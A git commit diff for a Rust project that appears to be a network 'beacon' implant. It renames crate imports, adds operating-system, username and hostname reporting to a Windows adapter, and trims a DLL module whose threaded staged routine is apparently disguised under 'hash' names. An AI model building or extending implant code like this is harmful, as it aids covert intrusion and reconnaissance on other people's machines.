fix: fixed release builds
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use sparse_beacon::{
|
||||
use sparse_actions::{
|
||||
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||
error,
|
||||
};
|
||||
@@ -11,7 +11,7 @@ pub enum WindowsAdapterError {
|
||||
Win32(#[from] windows_result::Error),
|
||||
}
|
||||
|
||||
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
|
||||
impl sparse_actions::error::AdapterError for WindowsAdapterError {}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct WindowsAdapter;
|
||||
@@ -20,6 +20,8 @@ pub struct WindowsAdapter;
|
||||
impl BeaconAdapter for WindowsAdapter {
|
||||
type Error = WindowsAdapterError;
|
||||
|
||||
const OPERATING_SYSTEM: &'static str = "Windows";
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||
[&br"\Device\NPF_"[..], &interface.name].concat()
|
||||
}
|
||||
@@ -43,7 +45,7 @@ impl BeaconAdapter for WindowsAdapter {
|
||||
}
|
||||
|
||||
use windows::Win32::NetworkManagement::IpHelper::{
|
||||
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
|
||||
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS,
|
||||
IP_ADAPTER_ADDRESSES_LH,
|
||||
};
|
||||
|
||||
@@ -173,4 +175,12 @@ impl BeaconAdapter for WindowsAdapter {
|
||||
Ok(BeaconNetworkingInfo { routes, interfaces })
|
||||
}
|
||||
}
|
||||
|
||||
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>> {
|
||||
Ok(std::env::var("USERNAME").unwrap_or("(unknown)".to_string()))
|
||||
}
|
||||
|
||||
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>> {
|
||||
Ok(std::env::var("COMPUTERNAME").unwrap_or("(unknown)".to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,10 +4,10 @@ use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
use windows::{
|
||||
core::*,
|
||||
Win32::{
|
||||
Foundation::{CloseHandle, FreeLibrary, HMODULE, MAX_PATH},
|
||||
Foundation::{CloseHandle, HMODULE, MAX_PATH},
|
||||
System::{
|
||||
LibraryLoader::{
|
||||
DisableThreadLibraryCalls, GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
|
||||
DisableThreadLibraryCalls, GetModuleFileNameA,
|
||||
},
|
||||
SystemServices::DLL_PROCESS_ATTACH,
|
||||
Threading::{CreateThread, Sleep, THREAD_CREATION_FLAGS}
|
||||
@@ -67,9 +67,6 @@ unsafe extern "system" fn prepare_hash(_param: *mut core::ffi::c_void) -> u32 {
|
||||
}
|
||||
|
||||
fn hash_internals() -> std::result::Result<(), std::io::Error> {
|
||||
let curr_module = HMODULE(std::ptr::null_mut());
|
||||
let comp_hash = compute_hash as extern "C" fn() -> ();
|
||||
|
||||
if unsafe { MODULE_FILENAME_LEN } == 0 {
|
||||
return Err(std::io::Error::last_os_error());
|
||||
}
|
||||
@@ -117,7 +114,6 @@ async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::
|
||||
}
|
||||
|
||||
loop {}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
|
||||
@@ -8,7 +8,6 @@ mod adapter;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
loop {}
|
||||
sparse_beacon::install_rustls();
|
||||
|
||||
let mut binary_file = tokio::fs::OpenOptions::new()
|
||||
|
||||
Reference in New Issue
Block a user